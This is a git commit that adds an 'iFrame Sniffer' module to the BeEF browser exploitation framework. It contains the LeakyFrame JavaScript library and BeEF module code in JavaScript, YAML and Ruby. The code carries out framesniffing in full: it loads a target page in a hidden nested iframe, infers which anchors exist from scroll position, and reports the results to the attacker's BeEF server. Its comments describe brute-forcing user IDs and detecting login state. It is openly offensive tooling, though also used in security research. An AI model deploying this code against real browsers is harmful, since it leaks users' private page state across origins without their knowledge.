Merge pull request #683 from bmantra/master

Merging pull request for framesniffing module (issue #644).
This commit is contained in:
Michele Orru
2012-05-25 11:18:41 -07:00
4 changed files with 522 additions and 0 deletions

View File

@@ -0,0 +1,80 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var inputURL = '<%= @inputUrl %>';
var anchorsToCheck = '<%= @anchorsToCheck %>';
var arrayOfAnchorsToCheck = [];
//the anchors should be seperated with ','
//remove tabs, newlines, carriage returns and spaces
anchorsToCheck = anchorsToCheck.replace(/[ \t\r\n]/g,'');
arrayOfAnchorsToCheck = anchorsToCheck.split(',');
var resultList = [];
var resultString = '';
//check if the leakyframe library is loaded
//if not add it to the DOM
if (typeof LeakyFrame !== 'function'){
var leakyscript = document.createElement('script');
leakyscript.setAttribute('type', 'text/javascript');
leakyscript.setAttribute('src', 'http://'+beef.net.host+':'+beef.net.port+'/leakyframe.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(leakyscript, theparent.firstChild);
}
var timeout = 100;
//give the DOM some time to load the library
poll = function(){
setTimeout(function(){
timeout--;
if (typeof LeakyFrame === 'function') {
new LeakyFrame(inputURL,
function(frame){
//check each anchor
for (var anchor = 0; anchor < arrayOfAnchorsToCheck.length; anchor++){
if (frame.checkID(arrayOfAnchorsToCheck[anchor])){
resultList.push('Exists');
}
else{
resultList.push('Does not exist');
}
}
frame.remove();
//create the resultstring
for (var i = 0; i < resultList.length; i++){
resultString = resultString + '#' + arrayOfAnchorsToCheck[i] + ' ' + resultList[i] + '; ';
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result: ' + resultString);
},false);
}
else if (timeout > 0){
poll();
}
else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'time-out occured!');
}
}, 100);
};
poll();
});

View File

@@ -0,0 +1,25 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
iframe_sniffer:
enable: true
category: "Misc"
name: "iFrame Sniffer"
description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.<br />For more information, refer to <a href='http://www.contextis.co.uk/research/blog/framesniffing/'>http://www.contextis.co.uk/research/blog/framesniffing/</a>"
authors: ["Bart Leppens"]
target:
working: "S"

View File

@@ -0,0 +1,381 @@
/**
* LeakyFrame JS Library
*
* Copyright (c) 2012 Paul Stone
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this
* software and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy, modify,
* merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be included in all copies
* or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
/*
This JS library can be used to easily try out the Framesniffing (aka Frame Leak, aka Anchor Element Position Detection) technique.
Currently (as of Mar 2012) the technique works in IE8, IE9 and most
webkit-based browsers.
Example usage:
new LeakyFrame('http://example.com', function(frame) {
if (frame.checkID('login-form')) {
alert("You're not logged in");
frame.remove();
return;
}
var anchors = {'foo', 'bar', 'baz'};
var frags = frame.findFrags(anchors);
alert('Found the following anchors on the page: ' + frags.join(', '));
}
Redirects
---------
Make sure that the URL you're loading doesn't redirect to a different URL,
as this can break anchor checking in some browsers and will slow down
checks for multiple anchors (e.g. brute-forcing).
E.g. You create LeakyFrame with http://foo.com/somepage and it redirects
to http://foo.com/somepage?98723945
The reason for this is that the JS code can't know the URL that the frame
has redirected to (due to same-origin policy). When changing the #fragment
at the end of the URL to check for an anchor, the entire URL must be
reset using window.location. So if a redirect has occurred, the original
URL will be loaded in the iframe, causing a full page load and another
redirect to occur.
Some browsers will preserve URL fragments across page redirects (Chrome
does, and I think IE10 does now too). For those browsers you can create
a LeakyFrame and pass in a URL with an fragment already on the end, then
call frame.nonZero() to see if a scroll has occurred. The findManyMatchingURLs
and findFirstMatchingURL methods should also work with redirects.
*/
/**
* Creates a new LeakyFrame object
*
* This constructor creates a nested iframes and loads 'url' into the inner one
* The outer frame is 10x10, and the inner frame 1000x10,000px to force the outer
* frame to scroll when checking for anchors.
*
* @param url - URL to load into the iframe.
* @param callback - A function that will be called when the frame has loaded. The
* the callback function will be passed the newly created LeakyFrame object
* @param debug - If true, the created frames will be made visible and outer
* frame will be made larger (140x140)
*/
function LeakyFrame(url, callback, debug) {
var outer = document.createElement('iframe');
outer.setAttribute('frameBorder', '0');
outer.setAttribute('scrolling', 'no')
document.body.appendChild(outer);
outer.contentWindow.document.open();
outer.contentWindow.document.close();
var inner = outer.contentWindow.document.createElement('iframe');
inner.setAttribute('frameBorder', '0');
outer.contentWindow.document.body.style.margin = 0;
outer.contentWindow.document.body.style.padding = 0;
inner.setAttribute('style', 'margin:0; border:none;overflow:hidden;position:absolute; left:0px;top:0px;width:1000px;height:10000px;background-color:white;');
if (!debug)
outer.setAttribute('style', 'border:none;opacity:0');
outer.contentWindow.document.body.appendChild(inner);
outer.width = 10;
outer.height = 10;
if (debug) {
outer.width=140;
outer.height=140;
}
this.outer = outer; // outer iframe element
this.inner = inner; // inner iframe element
this.innerWin = inner.contentWindow; // window object of outer iframe
this.outerWin = outer.contentWindow; // window object of inner iframe
this.outerDoc = outer.contentWindow.document; // document of outer iframe
this.removed = false;
if (callback)
this.load(url, callback);
}
/**
* Load a new URL into the inner iframe and do a callback when it's loaded
*/
LeakyFrame.prototype.load = function(url, callback) {
this.inner.contentWindow.location = url;
var me = this;
var f = {};
f.fn = function() {
if (me.inner.removeEventListener)
me.inner.removeEventListener('load', f.fn);
else if (me.inner.detachEvent)
me.inner.detachEvent('onload', f.fn);
me.currentURL = me._stripFragment(url);
if (callback)
callback(me);
}
if (this.inner.addEventListener)
this.inner.addEventListener('load', f.fn, false);
else if (this.inner.attachEvent)
this.inner.attachEvent('onload', f.fn);
}
/**
* Find the current scroll position of the outer iframe
* (should correspond to the position of the current anchor
* in the inner iframe)
* @return object with .x and .y properties
*/
LeakyFrame.prototype.getPos = function() {
var x = this.outerDoc.body.scrollLeft;
var y = this.outerDoc.body.scrollTop;
return {x:x, y:y};
}
/**
* Reset the scroll position of the iframe
*/
LeakyFrame.prototype.resetPos = function() {
this.outerWin.scrollTo(0,0);
}
/**
* Checks if the iframe has scrolled after being reset
*/
LeakyFrame.prototype.nonZero = function() {
var pos = this.getPos();
return (pos.x > 0 || pos.y > 0);
};
/**
* Check if anchor 'id' exists on the currently loaded page
* This works by first resetting the scroll position, adding
* #id onto the end of the current URL and then seeing if
* the scroll position has changed.
*
* Optional parameters x and y specify the initial scroll
* position and default to 0. Useful in some cases where
* weird scrolling behaviour causes the page to scroll to
* (0,0) if an anchor is found.
*
* @return boolean - true if the anchor exists
*/
LeakyFrame.prototype.checkID = function(id, x, y) {
if (!x) x = 0;
if (!y) y = 0;
this.outerWin.scrollTo(x,y);
this.innerWin.location = this.currentURL + '#' + id;
var result = this.getPos();
return (result.x != x || result.y != y);
}
/**
* Given an array of ids, will check the current page to see which
* corresponding anchors exist. It will return a dictionary of
* positions for each matched anchor.
*
* This can be incredibly quick in some browsers (checking 10s or
* 100s of IDs per second), so could be used for things like
* brute-forcing things like numeric user IDs or lists of product
* codes.
*
* @param ids - an array of IDs to be checked
* @param templ - optional template which is used to make the URL
* fragment. If the template is 'prod{id}foo' and you pass in the
* array [5,6,7], then it will check for anchors:
* prod5foo, prod6foo and prod7foo
* @return a dictionary containing matched IDs as keys and an
* array [x,y] as values
*/
LeakyFrame.prototype.findFragPositions = function(ids, templ) {
this.outerWin.scrollTo(0,0);
if (templ) {
var newids = [];
for (var i = 0; i < ids.length; i++)
newids.push(templ.replace('{id}', ids[i]));
} else {
newids = ids;
}
var positions = {};
for (var i = 0; i < ids.length; i++) {
var id = newids[i];
//this.outerWin.scrollTo(0,0);
this.innerWin.location = this.currentURL + '#' + id;
var x = this.outerDoc.body.scrollLeft;
var y = this.outerDoc.body.scrollTop;
if (x || y) {
positions[ids[i]] = [x, y];
this.outerWin.scrollTo(0,0);
}
}
return positions;
}
/**
* Same as findFragPositions but discards the positions
* and returns only an array of matched IDs.
*/
LeakyFrame.prototype.findFrags = function(ids, templ) {
var found = this.findFragPositions(ids, templ);
var ids = [];
for (var id in found)
ids.push(id);
return ids;
}
LeakyFrame.prototype._stripFragment = function(url) {
var pos = url.indexOf('#');
if (pos < 0) return url;
this.loadFrag = url.substr(pos+1);
return url.substr(0, pos)
}
/**
* Removes the iframe from the document.
* If you're creating lots of LeakyFrame instances
* you should call this once you're done with each
* frame to free up memory.
*/
LeakyFrame.prototype.remove = function() {
if (this.removed) return;
this.outer.parentNode.removeChild(this.outer);
this.removed = true;
}
/**
* Load a bunch of URLs to find which ones have a matching fragment
* (i.e. cause the page to scroll). (static method)
*
* @param url - a base URL to check with {id} where id will go
* (e.g http://www.foo.com/userprofile/{id}#me)
* @param ids - dictionary of key:value pairs. the keys will be
* used to replace {id} in each url
* @param callback - a function that gets called when an id is found.
* It gets passed the matching key and value
* @param finishedcb - a function that gets called when all the urls
* have been checked. It gets passed true if any URLs were matched
*/
LeakyFrame.findManyMatchingURLs = function(url, ids, callback, finishedcb, stopOnFirst) {
var maxConcurrent = 3;
var inProgress = 0;
var todo = [];
var interval;
var loadCount = 0;
var allFound = {};
var allPositions = {};
var framePool = {};
var found = 0;
var cancelled = false;
for (var key in ids) {
todo.push(key);
loadCount++;
}
var cancel = function() {
cancelled = true;
for (var i in framePool)
framePool[i].remove();
if (interval)
window.clearInterval(interval);
}
var cb = function(f, foundFrag) {
inProgress--;
loadCount--;
if (f.nonZero()) {
found++;
var foundVal = ids[foundFrag];
var foundPos = f.getPos();
allFound[foundFrag] = foundVal;
allPositions[foundFrag] = foundPos;
if (!cancelled)
callback(foundFrag, foundVal, foundPos, allFound, allPositions);
if (stopOnFirst)
cancel();
}
if ((loadCount == 0 && !stopOnFirst) || // 'finished' call for findMany
(loadCount == 0 && stopOnFirst && found == 0)) // 'fail' callback for stopOnFirst (only if none were found)
finishedcb(found > 0, allFound, allPositions);
f.remove();
delete framePool[foundFrag];
}
var loadMore = function() {
if (todo.length == 0) {
// no more ids to do
window.clearInterval(interval);
interval = null;
}
if (inProgress >= maxConcurrent) {
// queue full, waiting
return;
}
var loops = Math.min(maxConcurrent - inProgress, todo.length);
for (var i=0; i < loops; i++) {
inProgress++;
var nextID = todo.shift();
var thisurl = url.replace('{id}', nextID);
framePool[nextID] = new LeakyFrame(thisurl, function(n){
return function(f){ setTimeout(function() {cb(f,n)}, 50) } // timeout delay required for reliable results on chrome
}(nextID)
);
}
}
interval = window.setInterval(loadMore, 500);
}
/**
* Same as findManyMatchingURLs but stops after the first match is found
*
* @param url - a base URL to check with {id} where id will go
* (e.g http://www.foo.com/userprofile/{id}#me)
* @param ids - dictionary of key:value pairs. the keys will be used to
* replace {id} in each url
* @param successcb - a function that gets called when an id is found.
* It gets passed the matching key and value
* @param failcb - a function that gets called if no ids are found
* @param finalcb - a function that gets called after either sucess or failure
*/
LeakyFrame.findFirstMatchingURL = function(url, ids, successcb, failcb, finalcb) {
var s = function(k, v) {
successcb(k, v);
if (finalcb)
finalcb();
}
var f = function() {
if (failcb)
failcb();
if (finalcb)
finalcb();
}
return LeakyFrame.findManyMatchingURLs(url, ids, s, f, true);
}

View File

@@ -0,0 +1,36 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Iframe_sniffer < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/iframe_sniffer/leakyframe.js','/leakyframe','js')
end
def self.options
return [
{'name' => 'inputUrl', 'ui_label'=>'input URL', 'type' => 'textarea', 'value' =>'http://en.wikipedia.org/wiki/Beef', 'width' => '400px', 'height' => '50px'},
{'name' => 'anchorsToCheck', 'ui_label' => 'anchors to check', 'value' => 'History,Exploit,Etymology,References,ABCDE', 'type' => 'textarea', 'width' => '400px', 'height' => '100px' }
]
end
def post_execute
content = {}
content['resultList'] = @datastore['resultList']
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('leakyframe.js')
save content
end
end